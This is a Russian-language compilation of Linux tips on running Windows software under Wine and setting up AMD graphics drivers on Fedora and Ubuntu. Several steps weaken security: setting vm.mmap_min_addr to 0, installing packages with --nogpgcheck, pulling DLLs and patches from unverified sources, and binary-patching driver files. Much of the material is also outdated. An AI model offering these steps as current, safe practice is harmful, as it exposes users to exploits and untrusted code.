    Устанавливаем вспомогательный shell-скрипт winetricks, для автоматизации установки недостающих DLL:
    
       wget http://www.kegel.com/wine/winetricks
       chmod +x ./winetricks
    
    Загружаем необходимые для  Microsoft Office 2007 библиотеки:
    
       ./winetricks gdiplus riched20 riched30 msxml3 msxml4 msxml6 corefonts tahoma vb6run vcrun6 msi2
    
    Вставляем в CD/DVD привод установочный диск с Office 2007 и запускаем  setup.exe
    
       wine путь_к_CD/setup.exe
    
    Установка Internet Explorer 6:
    
       ./winetricks ie6
    
    Установка Internet Explorer 7:
    
    Устанавливаем пакет cabextract:
    
       apt-get install cabextract
    
    Загружаем последнюю версию ies4linux:
    
       wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz
       tar xzf ies4linux-latest.tar.gz 
       cd ./ies4linux-2.99.0.1
       ./ies4linux --beta-install-ie7 --no-gui --no-flash
    
    Установка Windows сборки Firefox 3:
    
       ./winetricks firefox3
    
    
    Для установки игр и программ также можно использовать GUI интерфейс или shell
    скрипты с сайта http://www.playonlinux.com/
    
    Например скрипт для установки IE7 имеется готовый скрипт http://www.playonlinux.com/repository/?script=369
    Для Safari - http://www.playonlinux.com/repository/?script=118
    
     
    ----* Решение проблем с запуском Adobe PhotoShop в Ubuntu 8.04 (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    Если в момент запуска приложения в wine получаем ошибку:
    
       preloader: Warning: failed to reserve range 00000000-60000000
       err:dosmem:setup_dos_mem Cannot use first megabyte for DOS address space, please report
    
    Решить проблему можно убрав нижнюю границу маппинга адресов:
       sysctl -w vm.mmap_min_addr=0
    
    Для изменения системных установок правим содержимое файла /etc/sysctl.conf
    заменив "vm.mmap_min_addr = 65536" на "vm.mmap_min_addr = 0"
    
     
    ----* Установка IE6 под wine 0.9.60 без ie4linux (доп. ссылка 1)   [комментарии]
     
    Если Вы хотите установить Internet Explorer автоматически используйте  IEs4linux. 
    Это руководство для тех пользователей которые не хотят использовать IEs4linux. 
    
    1.Создаем новую конфигурацию wine в другой директории с помощью wineprefix. 
    
       wineprefixcreate --prefix ~/.wineIE6 
    
    2. Следующим шагом установим в переменной путь к каталогу  для IE6, выполняем 
    
       export WINEPREFIX="$HOME/.wineIE6"
    
    3.Необходимо удалит или переместить следующие файлы, иначе wine не даст при
    установке IE обновить эти файлы
    
       Program Files/Internet Explorer/iexplore.exe 
    
    в каталоге ~/.wineIE6/windows/system32 
    
       mshtml.dll
       shdoclc.dll
       shdocvw.dll
       shlwapi.dll 
       urlmon.dll
       wininet.dll 
    
    4.Запускаем winecfg, переходим на закладку Библиотеки(Libraries ) и добавляем
    следующее приложение и библиотеки:
    
       iexplore.exe 
       mshtml 
       shdoclc 
       shdocvw 
       shlwapi 
       urlmon 
       wininet 
       mlang 
    
    И устанавливаем их в Сторонняя, встроенная (native, builtin.) 
    
    5.Устанавливаем версию эмуляции 2000 в winecfg. 
    
    6.В реестре надо указать версию IE ниже чем 6.  
    
    7. HKEY_LOCAL_MACHINE->Software->Microsoft->Internet Explorer->Version Например 5.0. 
    
    8.Запускаем IE6SETUP.EXE. Он должен установиться без ошибок. 
    (можно использовать параметр  /q чтобы он не задавал вопросов при инсталляции) 
    
    9.Теперь нужно зарегистрировать все библиотеки (dll) в каталоге  ~/.wineIE6/windows/system32 .
    Открываем любую консоль переходим в каталог и выполняем команду  дважды: 
    
       for i in *.dll *.ocx; do regsvr32 /i $i; done
    
    10.С этого момента IE6 будет запускаться  но не будет ничего  отображать. 
    Чтобы исправить эту проблему надо скачать файл msls31.dll
    (используйте google) и поместить его в ~/.wineIE6/windows/system32.    
    Можно взять с машины с Windows.
    
    11.Теперь Вы можете запускать IE6.
    
       WINEPREFIX="$HOME/.wineIE6" wine iexplore.exe
    
    
    Первоисточник текста на английском: http://appdb.winehq.org/appview.php?versionId=469
    Автор: Artem Tashkinov, перевод: Spike.
    
     
    ----* Как запустить 1C под Wine без дополнительных патчей (доп. ссылка 1)   Автор: Jaded Phoenix  [комментарии]
     
    1. Качаем wine с http://www.winehq.org я использую wine 0.9.13 в сборке для 
    Debian.
    
    2. Запускаем wine, пусть создаст папку ~/.wine/
    
    3. Качаем Dcom98 с 
    http://download.microsoft.com/msdownload/d...6/en/dcom98.exe , или с 
    http://dalcom.kha.ru/dcom98.exe. Копируем Dcom98 в ~/.wine/drive_c/
    
    4. Запускаем winecfg и настраиваем wine по своему вкусу. Особо отмечаю: на 
    вкладке "Графика" 
    убираем галочку с "Разрешить менеджеру окон управлять  окнами".
    
    5. Стартуем wine DCOM98.EXE /C /T:c:\\temp /Q (из папочки ~/.wine/drive_c/).
    
    6. Копируем все из папки ~/.wine/drive_c/temp/ в  ~/.wine/drive_c/WINDOWS/system/
    
    7. Опять стартуем winecfg, добавляем приложение Dcom98.exe, 
    и для него в соседней вкладке прописываем библиотеку ole32=Родная (windows).
    
    8. Запускаем wine DCOM98.EXE /Q (у меня оно тут, правда, выругалось, что у 
    меня система 2000, но ничего - дальше все нормально).
    
    9. Копируем из установленной винды библиотеку msvcrt40.dll (входит в состав MS Office, например).
    
    10. Стартуем winefile (можно и ручками через wine, но привыкайте к 
    удобствам ;-)), ставим 1С (v77).
    
    11. Еще раз стартуем winecfg, добавляем приложение 1CV7.exe (у меня 1CV7s.exe), 
    для него прописываем исключительно нативные библиотеки rpcrt4, ole32, olepro32, oleaut32, msvcrt40.
    
    12. Совет, который я не делал (у меня и так все нормально): чтобы в программе был русский шрифт
     надо просто из компьютера где установлен Windows взять из папки fonts все шрифты и 
    скопировать их в папку ~/.wine/drive_c/windows/fonts. 
    Далее в файле настройки wine изменить в разделе [fonts]:
    
       "Default" = "arial"
       "DefaultFixed" = "fixed"
       "DefaultSerif" = "Serif"
       "DefaultSansSerif" = "SansSerif"
    
    13. Стартуем 1С, добавляем базы. Для каждой базы делаем следующее: открываем в конфигураторе, 
    выбираем в меню "Администрирование" пункт "Кодовая страница таблиц ИБ". 
    Устанавливаем кодовую страницу в "+Текущая системная установка".
    
    14. Обязательно надо снять галочку "Окна->Панель  окон->показать".
    
    15. Создаем ярлыки запуска, устало дышим, радуемся и благодарим г-на Нуралиева 
    (директор 1С) за классный продукт.
    
     
    ----* Как запустить игровой сервер Diablo II под wine без установки X Window (доп. ссылка 1)   Автор: lw  [комментарии]
     
    Ниже рассказ о том как запустить приложения в wine (например, D2GS) 
    без  необходимости запуска X Window сервера:
    
       - собираем wine с ключами   --without-x --without-opengl;
       - в ~/.wine/config меняем "GraphicsDriver" = "x11drv"  на  "GraphicsDriver" = "ttydrv".
    
     

       X Window

    ----* Использование в Linux дискретной видеокарты AMD Radeon вместе со встроенной Raven Ridge   Автор: nobody  [комментарии]
     
    Разговор пойдёт об AMD APU Ryzen 3 2200G, Ryzen 5 2400G и подобных им.
    
    В обсуждениях на англоязычных форумах упоминается, что iGPU Vega10 более
    технологически продвинут, и, в принципе, он может быть использован как
    ведущий адаптер для dGPU предыдущих версий GCN 1,2,3 в рамках модели
    памяти iGPU Vega10 (GCN 5).
    
    Однако, с одной стороны это потребует большое количество человеко-часов для
    написания таких драйверов под OS Linux. А, с другой стороны, новые адаптеры
    линии RDNA полностью соответствуют этой модели памяти. И, в принципе,
    состыковка iGPU Vega10 с dGPU RDNA, есть задача более простая и более перспективная.
    
    Поэтому, в ближайшее время нормальной состыковки видеокарт GCN 1,2,3 и iGPU
    Vega10 (GCN 5) в Linux, судя по всему, ожидать не приходится.
    
    Соответственно, всё, что описано далее, это воркэраунд для сложившейся ситуации.
    
    
    Пошаговая инструкция
    
    Вот работоспособная конфигурация:
    
    (01) Устанавливаем Fedora 31 (я использовал версию с MATE GUI).
    Не забываем сразу добавить пользователя в группу video .
    
    
    (02) Загружаем пакет kernel-5.3.16-300.fc31.src.rpm, и разворачиваем его для
    компиляции в ${HOME}/rpmbuild/SOURCES/
    
    
    (03) Идём на страничку
    https://github.com/RadeonOpenCompute/ROCK-Kernel-Driver/issues/66  и загружаем
    оттуда патч под нашу версию ядра
    0003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch.txt
    по ссылке
    https://github.com/RadeonOpenCompute/ROCK-Kernel-Driver/files/3614247/0003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch.txt
    
    Попутно читаем на английском про особенности работы встроенной карты, там много удивительного.
    
    Выжимка, кому интересно, иначе можно пропустить:
    
    
  • модель памяти у iGPU и dGPU различна;
  • драйвер amdkfd по умолчанию использует модель памяти адаптера, проинициализировавшегося первым;
  • не смотря на то, что dGPU может быть первым и будет использована его модель памяти, тем не менее iGPU Vega10 более технологически продвинут и именно он получит первый номер во внутреннем дереве топологии драйвера amdkfd, что в общем-то неправильно, так как карта адаптеров и фактическое их наличие не будут соответствовать друг другу. Как результат, оба GPU будут нерабочими в ROCm (и не только в нём);
  • двое разработчиков ROCm под никами fxkamd и Djip007 сформировали патч для драйвера amdkfd, позволяющий на этапе загрузки ядра сказать драйверу amdkfd, какую модель памяти использовать и какие адаптеры допустимы в дереве топологии amdkfd, скажем "Большое Спасибо!" им за это. (04) Копируем патч в каталог ${HOME}/rpmbuild/SOURCES/ $ cp 003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch.txt ${HOME}/rpmbuild/SOURCES/003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch Исправляем в kernel.spec %global baserelease 300 на произвольное большее %global baserelease 307 Добавляем в kernel.spec после описания всех патчей, после строки Patch536: ..... строку с описанием нового патча Patch537: 0003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch как раз перед строкой # END OF PATCH DEFINITIONS Делаем линк kernel.spec: $ cd ${HOME}/rpmbuild/SPECS/ $ ln ../SOURCES/kernel.spec Запускаем сборку пакетов ядра с патчем: $ rpmbuild -ba --nodebuginfo --target x86_64-redhat-linux --define "%_without_debug 1" --define "%set_build_flags echo" --define "%make_build make" --define "%make_install make install DESTDIR=%{buildroot}" kernel.spec Внимание, потребуется много места на диске! В моём случае сборки для x86_64 конфигов это было около 27 GB временных файлов. По завершении сборки в директории ${HOME}/rpmbuild/RPMS/x86_64/ будут лежать новые пакеты: kernel-5.3.16-307.fc31.x86_64.rpm kernel-core-5.3.16-307.fc31.x86_64.rpm kernel-debuginfo-5.3.16-307.fc31.x86_64.rpm kernel-debuginfo-common-x86_64-5.3.16-307.fc31.x86_64.rpm kernel-devel-5.3.16-307.fc31.x86_64.rpm kernel-modules-5.3.16-307.fc31.x86_64.rpm kernel-modules-extra-5.3.16-307.fc31.x86_64.rpm Устанавливаем это новое ядро и его модули (естественно, с опцией --nogpgcheck). (05) Обновляем загружаемый микрокод для видеокарт: # dnf upgrade linux-firmware libclc (06) Добавляем в настройки dracut несколько опций # cat /etc/dracut.conf.d/my20200224.conf add_drivers+=" amd_iommu_v2 amdgpu nvme_core nvme " fw_dir+=" /lib/firmware/amdgpu " install_items+=" /lib/firmware/amdgpu/raven_* /lib/firmware/amdgpu/polaris* " (07) Аккуратно настраиваем X-сервер в /etc/X11/xorg.conf. Чтобы он видел dGPU как первичный адаптер, а iGPU , как вторичный адаптер без экрана. Однако к монитору iGPU должен быть подключен физически (или к его HW-эмулятору). Создаём шаблон xorg.conf командой: # X -configure Затем копируем его в /etc/X11/xorg.conf и редактируем, оставляя:
  • Layout0 с двумя картами Card0 и Card1
  • Card0 это первичный dGPU с монитором и экраном, с точным указанием BusID
  • Card1 это вторичный iGPU без монитора и без экрана, с точным указанием BusID Например: Section "Device" # dGPU Identifier "Card0" Driver "amdgpu" BusID "PCI:1:0:0" Option "TearFree" "True" Option "Accel" "True" EndSection Section "Device" # iGPU Identifier "Card1" Driver "amdgpu" BusID "PCI:9:0:0" EndSection Ваши GPU могут иметь другие номера на шине pci, смотрим командой: # lspci -v ..... Пропускаем секции "Monitor1" и "Screen1" для iGPU в нашем случае, как это регламентировано в мануале для xorg.conf. Просто комментируем соответствующие разделы: #Section "Monitor" # Identifier "Monitor1" ..... #Section "Screen" # Identifier "Screen1" ..... (08) Добавляем опцию для kfd из рекомендаций установки ROCm: # cat /etc/udev/rules.d/70-kfd.rules SUBSYSTEM=="kfd", KERNEL=="kfd", TAG+="uaccess", GROUP="video", MODE="0660" Это позволит работать с dGPU пользователю из группы video. (09) Перегенерим initramfs: # dracut --force --kver 5.3.16-307.fc31.x86_64 (10) Добавляем в настройки grub2 несколько опций ядра для загрузки: amd_iommu=fullflush iommu=pt video=efifb:off amdgpu.rocm_mode=2 (11) Дополнительно, устанавливаем воркэраунд от некогерентности кэша для GCN 1,2,3,5 видеокарт: # cat /etc/environment AMD_DEBUG=nongg,nodma RADV_DEBUG=nongg DRI_PRIME=0 К сожалению, воркэраунды снижают производительность от 1.5 до 15 раз (судя по тесту Glmark2), но зато дают стабильность GUI-десктопу. Для RDNA 1,2 видеокарт вроде бы это не нужно, но я не проверял, так как не на чем. Перезагружаемся. (12) Настраиваем в EFI dGPU как первичную видеокарту, а iGPU, соответственно, становится вторичной видеокартой, урезаем ей RAM до 64 MB. Загружаемся. Вот и всё. Проверка Теперь проверяем корректность результата. # dmesg | grep -i -e amdgpu -e kfd -e drm -e ttm -e atomic -e crat ..... [ 3.414606] kfd kfd: Ignoring ACPI CRAT on disabled iGPU (rocm_mode!=ROCM_MODE_IGPU) ..... [ 3.667325] kfd kfd: added device 1002:wxyz ..... [ 3.733956] kfd kfd: skipped DID 15dd, don't support dGPU memory management models ..... Выбрана модель памяти для dGPU, добавление iGPU в топологию kfd пропущено, а топология kfd для dGPU сформирована правильно. # lspci -nnk -d 1002: 01:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI] ..... Subsystem: ..... Kernel driver in use: amdgpu Kernel modules: amdgpu 09:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI] Raven Ridge [Radeon Vega Series / Radeon Vega Mobile Series] [1002:15dd] (rev c8) Subsystem: ..... Kernel driver in use: amdgpu Kernel modules: amdgpu 09:00.1 Audio device [0403]: Advanced Micro Devices, Inc. [AMD/ATI] Raven/Raven2/Fenghuang HDMI/DP Audio Controller [1002:15de] Subsystem: ..... Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel Всем видны оба видео-адаптера AMD на pci шине: и dGPU и iGPU. Важно, чтобы неиспользуемый iGPU контроллировался ядерным драйвером amdgpu. Если этого не будет (например, можно удалить устройства из дерева pci средствами udev на раннем этапе загрузки), то iGPU будет сильно греть APU (max 75*C вместо max 60*C). И это при том, что сам iGPU вообще не будет никак использоваться. Может возникнуть впечатление, что появились проблемы с кулером APU, но это не так. $ less /var/log/Xorg.0.log [ 15.962] (**) ServerLayout "Layout0" [ 15.962] (**) |-->Screen "Screen0" (0) [ 15.962] (**) | |-->Monitor "Monitor0" [ 15.962] (**) | |-->Device "Card0" [ 15.962] (**) | |-->GPUDevice "Card1" [ 15.962] (**) |-->Input Device "Mouse0" [ 15.962] (**) |-->Input Device "Keyboard0" ..... [ 15.964] (II) xfree86: Adding drm device (/dev/dri/card0) [ 15.970] (II) xfree86: Adding drm device (/dev/dri/card1) [ 15.973] (--) PCI:*(1@0:0:0) ..... [ 15.973] (--) PCI: (9@0:0:0) ..... ..... [ 15.979] (II) LoadModule: "amdgpu" [ 15.980] (II) Loading /usr/lib64/xorg/modules/drivers/amdgpu_drv.so ..... [ 15.983] (II) AMDGPU: Driver for AMD Radeon: All GPUs supported by the amdgpu kernel driver [ 15.983] (II) modesetting: Driver for Modesetting Kernel Drivers: kms [ 15.983] (II) AMDGPU(0): [KMS] Kernel modesetting enabled. ..... Т.е. видим, что X-сервер обнаружил обе видеокарты, но активно использует только одну и именно дискретную видеокарту. Далее можем, например, установить ROCm 3 _без_ dkms драйвера в соответствие с родной инструкцией: # dnf install rocm-dev rocm-libs Следующие программы дополнительно покажут корректность описанной выше пошаговой настройки. rocm-smi нормально отображает всю статистику по dGPU и управляет ею. rocminfo отрабатывает без ошибок и отображает 2 вычислительных агента CPU и gfx803. clinfo отрабатывает без ошибок и отображает 1 платформу AMD-APP и 1 устройство gfx803 (не считая Mesa Clover и Pocl). hashcat видит устройство и работает нормально. (Самосборный пакет из оригинальных исходников, т.к. из репозитория Fedora 31 сборка имеет урезанную функциональность и проблемы с запуском.) Компилятор AOMP в составе ROCm 3.1 проходит успешно 67 тестов из 69 из приложенного набора тестов smoke. vainfo , vdpauinfo отрабатывают нормально. Итоги В результате настройки получаем устойчивый GUI-десктоп с корректно работающим dGPU и с условно корректно отключенным, "не используемым" iGPU. Дополнительно PS: Пока удалось нарушить работу dGPU, только используя в Avidemux HW-кодер "Intel AVC HW (VA)". В то же время HW-кодер "Intel HEVC" в Avidemux работает довольно быстро. А "Intel H264" не работает совсем, и, судя по всему, встройка тут не при чём. Запуск командой: $ ( DRI_PRIME=1 avidemux3_qt5 ) позволяет использовать встроенные HW-кодеры "не используемого" iGPU, работают они примерно так же. PPS: В принципе, в ядро 5.6 были добавлены полезные патчи для Raven iGPU, и, с применением воркэраунда для Mesa 19.2.8 # cat /etc/environment AMD_DEBUG=nongg,nodma,nodcc RADV_DEBUG=nongg DRI_PRIME=0 стало возможным использовать Raven iGPU как первичную видеокарту в EFI, а dGPU использовать вторичной видеокартой. Соответственно, просто меняем местами BusID карт в xorg.conf , и включаем вторичную dGPU в MATE: меню System -> Control Center -> Displays -> второй дисплей , ON , Applay , Close (настройка сохраняется в ${HOME}/.config/dconf/). В этом случае производительность dGPU в графике снижается. Зато появляется возможность работать с tensorflow-rocm при 100% нагрузке dGPU без замираний первичного экрана, и наблюдать происходящее в процессе. И, однако, попутно выясняется, что ядро 5.6.8 (со своим таким же патчем с той же веб-странички) _не_ загружается с primary dGPU в EFI. Возможно, что для сочетаний конкретных APU и MainBoard это вылечится обновлением Grub2 до актуальной версии. Вероятно, старая версия Grub2 неправильно транслирует какие-то параметры ядру из EFI. Этот момент и более поздние версии ядер 5.6.n и 5.7.n , пардон, проверить не успел, т.к. заапгрейдил APU на обычный CPU Ryzen без iGPU. Перспективы Общие соображения, которые с одной стороны можно было бы и не добавлять в статью, а с другой, почему бы и не добавить. Судя по всему, RDNA 1 и 2 как архитектуры GPU есть шаги по направлению к когерентной архитектуре Gen-Z. Это означает, что:
  • основной свичованой шиной станет CCIX как приоритезированный PCIe Gen4 (и выше)
  • RAM будет выделена в отдельные модули на CCIX-шине
  • контроллер памяти будет в диспетчере и каждом модуле RAM
  • кэши CPU, GPU, RAM, плат расширения будут когерентны
  • IOMMUv2 (или выше) будет обязателено by design
  • GPU станут более самостоятельными относительно CPU (как вычислительные устройства)
  • iGPU / APU не вполне вписываются в эту концепцию Выводы, конечно же, каждый сделает сам.
  •  
    ----* Как установить AMD Catalyst в Fedora 21, не ломая GNOME и другие вещи   Автор: Stax  [комментарии]
     
    Преамбула
    Прошу не начинать обсуждения не по теме вроде "какая ваша Fedora гадость, в
    нормальных дистрибутивах проблем никаких" (в Fedora просто в силу прогресса
    сломали раньше, дойдет и до остальных, например, в свежем Debian уже
    случилось), "какой ваш GNOME гадость" (проблемы не специфичны для гномовского
    десктопа, всякие rhythmbox и другой софт, использующий clutter сломан точно
    также), "какие бинарные драйверы гадость" (с открытыми драйверами на многих
    карточках безумно шумит кулер, пока не исправлена вот эта ошибка, а еще
    проблемы с suspend и прочее) или так далее. А вот предложения, как сделать эти
    инструкции более надежными приветствуются.
    
    Задача
    
    Итак, есть свежая Fedora 21, 64-х битная система с карточкой AMD, нужно
    заставить работать Catalyst, чтобы не сломался gdm или программы, собранные с
    clutter, в том числе GNOME. В rpmfusion каталиста нет, советы в интернете
    предлагают идти на какие-то жертвы типа "снести GNOME", "выключить gdm" (лично
    у меня с lightdm не работает блокировка экрана), "ставить левые пакеты
    clutter/gnome-shell/etc после каждого обновления, пересобираемые каким-то
    сомнительным товарищем и выкладываемые на что-то типа mediafire без подписи" и
    так далее. Это не наш путь, нужно, чтобы работало все как есть и цивилизованно:
    пакеты в rpm'ках, не сломанная функциональность и прочее. Это достижимо (ну,
    почти). Инструкция проверена на последних версиях пакетов на данный момент
    (Catalyst 14.12, ядро 3.17.7 gnome-shell 3.14.3, gdm 3.14.1, clutter 1.20.0)
    
    Инструкция
    
    Загружаем AMD Catalyst - amd-catalyst-omega-14.12-linux-run-installers.zip.
    Распаковываем, переходим в fglrx-14.501.1003. Качаем патч, чтобы собрать с
    ядром 3.17:
    
       wget https://bluehatrecord.files.wordpress.com/2014/11/3-17_kernel-patch.doc
    
    Накладываем патч и собираем rpm пакет. Федоры в списке нет, зато есть RHEL7,
    который почти F19, которая почти F21 - в общем, то, что надо!
    
       sh amd-driver-installer-14.501.1003-x86.x86_64.run --extract
       cd fglrx-install.*
       patch -p0 < ../3-17_kernel-patch.doc
       ./ati-installer.sh '14.501' --buildpkg RedHat/RHEL7_64a
    
    Ставим пакет и создаем файл конфигурации Xorg.
    
       sudo rpm -i ../fglrx64_p_i_c-14.501.1003-1.x86_64.rpm
       aticonfig --initial
    
    Выключаем драйвер radeon и kernel modesetting. 
    Правим /etc/sysconfig/grub, в строку GRUB_CMDLINE_LINUX= добавляем 
    
       radeon.modeset=0 rd.driver.blacklist=radeon nomodeset
    
    к тому, что там уже есть; пересоздаем конфиг grub командой 
    
       grub2-mkconfig -o /boot/efi/EFI/fedora/grub.cfg
    
    на современной системе с UEFI, или же 
    
       grub2-mkconfig -o /boot/grub2/grub.cfg
    
    на системой со старым BIOS или на UEFI-системе в legacy-режиме
    
    Чиним ошибку в clutter. Создаем файл /etc/X11/xinit/xinitrc.d/cogl-setup.sh по такой инструкции:
    
       sudo sh -c "cat > /etc/X11/xinit/xinitrc.d/cogl-setup.sh" << EOF
       export COGL_DRIVER=gl
       export COGL_OVERRIDE_GL_VERSION=1.4
       export COGL_RENDERER=GLX
       export LD_PRELOAD=/usr/lib64/fglrx/fglrx-libGL.so.1.2
       EOF
       sudo chmod +x  /etc/X11/xinit/xinitrc.d/cogl-setup.sh
    
    Чиним проверку версии X'ов в драйвере при использовании gdm. Аккуратнее - точно
    выполняйте эти команды, нельзя их менять, если что-то в них непонятно - а то не
    сработает, либо вообще повредите бинарник и придется переставлять fglrx:
    
       sudo -i
       Xorg -version > /amd_xversion 2>&1
       cd /usr/lib64/xorg/modules/drivers/
       offset=`strings -td fglrx_drv.so | grep '/proc/%i/fd/0' | sed 's/^ *//' | cut -d' ' -f1`
       echo -ne '/amd_xversion' | dd conv=notrunc of=fglrx_drv.so bs=1 count=13 seek=$offset
       cd ../extensions
       offsetext=`strings -td libglx.so | grep '/proc/%i/fd/0' | sed 's/^ *//' | cut -d' ' -f1`
       echo -ne '/amd_xversion' | dd conv=notrunc of=libglx.so bs=1 count=13 seek=$offsetext
       exit
    
    Здесь на диске меняются два бинарника, если переставить rpm'ку fglrx, это
    придется делать заново. В процессе будет создан файл /amd_xversion, не удаляйте
    его! Оттуда драйвер будет считывать версию иксов.
    
    Чиним запускаемый специальным образом gnome-shell, который выполняет gdm (да,
    он сейчас не сам по себе, фон и верхнюю панель рисует именно gnome-shell).
    Правим /usr/share/gdm/greeter/applications/gnome-shell.desktop и меняем строку
    
       Exec=gnome-shell --mode=gdm" на "Exec=env COGL_DRIVER=gl COGL_OVERRIDE_GL_VERSION=1.4 COGL_RENDERER=GLX LD_PRELOAD=/usr/lib64/fglrx/fglrx-libGL.so.1.2 gnome-shell --mode=gdm
    
    Это самое несовершенное изменение - если обновить gdm, это придется делать
    заново, так как rpm перетрет файл. Я не знаю, как это сделать более нормально -
    патчить при загрузке изврат, вроде теоретически можно создать свою копию
    gnome-shell.desktop и копию
    /usr/share/gnome-session/sessions/gdm-shell.session, в котором прописать вместо
    gnome-shell свою версию, а потом поправить dconf'ом файлик
    /usr/share/gdm/greeter-dconf-defaults, чтобы gdm использовал системную сессию,
    отличную от gdm-shell.session. Но, подозреваю, rpm это тоже переписывает.
    В общем, если кто-то знает, как сделать аналог этого изменения, чтобы
    нормально обновлялся gdm и ничего не ломалось - сообщите!
    
    
    PS. Я также опубликовал английский вариант на fedoraforum - это не совсем
    точный перевод русского текста, просто написав инструкцию на-английском, решил
    сделать и русский вариант, заодно упростил некоторые вещи, так как полагаю, что
    тут аудитория более подготовленная, чем на fedoraforum.
    
    PPS. Ошибка в Clutter, из-за которой приходится прописывать переменные
    окружения можно отслеживать на данной странице.
    
     
    ----* Диагональное размещение информации на экране (доп. ссылка 1)   [комментарии]
     
    На системах с X-сервером при помощи утилиты xrandr можно организовать
    размещение информации на экране монитора, установленного не только
    горизонтально или вертикально, но и  под произвольным углом.
    
    Например, можно повернуть монитор на 45 градусов:
    
       xrandr --output HDMI-3 --transform 0.707106781186548,-0.707106781186548,0,0.707106781186548,0.707106781186548,0,0,0,1
    
    
    
    
    или 22 градуса:
    
      xrandr --output HDMI-3 --transform 0.927183854566787,-0.374606593415912,0,0.374606593415912,0.927183854566787,0,0,0,1
    
    
    
    
    Указываемые в параметре "--transform" значения рассчитываются по формуле
    "cos(x),-sin(x),shift_left,sin(x),cos(x),shift_up,0,0,1", в которой "x" -
    необходимый угол поворота.
    
     
    ----* Уменьшение жёстко определённого размера окна приложения в формате AppImage   [комментарии]
     
    При запуске некоторых приложений, поставляемых в формате AppImage, окно не
    умещается на экран и штатные механизмы изменения размера окна не позволяют
    уменьшить его до нужных размеров. Например, окно оказывается слишком длинным и
    его нижняя часть на широкоформатном экране ноутбука всегда оказывается за
    пределом экрана.
    
    До выступающей за пределы экрана части можно добраться сместив окно в другую
    сторону,  перемещая его мышью за боковую грань при удержании клавиши Alt, но
    при постоянной работе с программой так поступать неудобно.
    
    Для постоянного уменьшения масштаба можно перед запуском программы  выставить
    переменную GDK_DPI_SCALE для программ на GTK, и
    QT_SCALE_FACTOR для Qt. Например:
    
       GDK_DPI_SCALE=0.8 ./prog.AppImage
       QT_SCALE_FACTOR=0.8 ./prog.AppImage
    
     
    ----* Удалённая работа с GTK-приложениями через браузер (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    В состав GTK+ входит бэкенд Broadway, позволяющий отрисовывать вывод  в окне
    web-браузера, передавая данные через WebSocket и формируя изображение с
    использованием технологий HTML5. Каждое окно сопоставляется с элементом canvas,
    а содержимое окон передается клиенту в виде копий слоев (для скроллинга) и
    блоков, описывающих изменения между изображениями. Изображения отправляются в
    формате PNG. Для обновления содержимого окна организуется передача потока
    команд через "multipart/x-mixed-replace"-запросы XMLHttpRequest.
    
    Начиная с Ubuntu 15.04 бэкенд Broadway поставляется по умолчанию. В более
    ранних выпусках необходимо установить пакет из PPA:
    
       sudo add-apt-repository ppa:malizor/gtk-broadway
       sudo apt-get update
       sudo apt-get upgrade
       sudo apt-get install broadwayd
    
    
    Для использования Broadway в любом приложении на базе GTK+3 достаточно перед
    запуском установить переменную окружения GDK_BACKEND=broadway, после чего
    интерфейс приложения станет доступен при открытии в браузере страницы
    http://127.0.0.1:8080. Для запуска нескольких приложений, с присвоением для них
    разных номеров портов, следует использовать вспомогательный дисплейный сервер broadwayd.
    
    Например:
    
       broadwayd
       GDK_BACKEND=broadway gedit
    
    Если после запуска произошёл крах, можно попробовать отключить в программе
    работу с глобальным меню и исчезающими полосами прокрутки:
    
       GDK_BACKEND=broadway UBUNTU_MENUPROXY= LIBOVERLAY_SCROLLBAR=0 gedit
    
    Для запуска ещё одного приложения, в broadwayd следует указать номер сеанса,
    после чего номер порта для него выбирается по формуле "8080  + номер". Например (127.0.0.1:8081):
    
       broadwayd :1
       GDK_BACKEND=broadway gtk3-demo
    
    Для доступа с другого ПК можно прикрепить обработчик на другой IP-адрес при
    помощи опции --address, например:
    
       broadwayd --address 192.168.1.34 :2
    
    Для предотвращения несанкционированного доступа для сеанса можно задать пароль,
    который нужно сохранить в файл ~/.config/broadway.passwd. Например:
    
       openssl passwd -1  > ~/.config/broadway.passwd
    
     
    ----* Установка проприетарного драйвера AMD Crimson Edition 15.12 в Ubuntu 16.04   Автор: Аноним  [комментарии]
     
    Многие слышали о прекращении поддержки проприетарного драйвера fglrx в
    Ubuntu 16.04. Меня это событие обошло стороной и я стал "счастливым"
    обладателем свежей версии убунты.
    
    Часть первая, где мы будем патчить
    
    Сразу отмечу, что amdgpu у меня R9 390x не "взлетел". И я решил пойти по пути
    наименьшего сопротивления. Установке драйверов препятствует отсутствие
    поддержки ядра версии 4.4, заботливо предоставленного сборщиками из Canonical.
    К счастью,некий imageguy, уверенной 10-ти пальцевой печатью, набил на клавиатуре
    патч
     для данного ядра. Спасибо imageguy!
    Если упустить процедуру скачивания распоследнего crimson с сайта amd установка
    сводится к следующим действиям:
    
       sh amd-driver-installer-15.302-x86.x86_64.run --extract
       cd fglrx-install.*/
       wget https://raw.githubusercontent.com/imageguy/fglrx-for-Fedora/master/fglrx_kernel_4.4.diff
       patch -p1 < fglrx_kernel_4.4.diff  
    
    
    Часть вторая, понижение версии xserver
    
    Вот и славно, модуль ядра теперь точно соберется, но остается еще одна преграда
    на пути к установке - это xserver-xorg версии 1.18. Но это совсем не беда,
    поставим его из репозитория willy. Но сначала удалим пакеты xserver версии 1.18:
    
       sudo apt-get purge xserver-xorg* 
    
    Заморачиваться со скачиванием пакетов xserver я не стал, просто закоментировал
    текущие репозитории в:
    
       sudo sed -i 's/deb/#deb/' /etc/apt/sources.list
    
    и прописал репозитории wily:
    
       deb http://cz.archive.ubuntu.com/ubuntu wily main
       deb http://cz.archive.ubuntu.com/ubuntu wily-updates main
    
    И поставил xserver из репозитория wily:
    
       sudo apt-get update
       sudo apt-get install xserver-xorg
    
    Холдим пакеты с пониженной версией xserver:
    
       packages=`aptitude search xserver|grep -E '^i'|grep -Eo '(xserver-.+) - '|awk '{print $1}'`; for pkg in $packages; do echo "$pkg hold" | sudo dpkg --set-selections;done
    
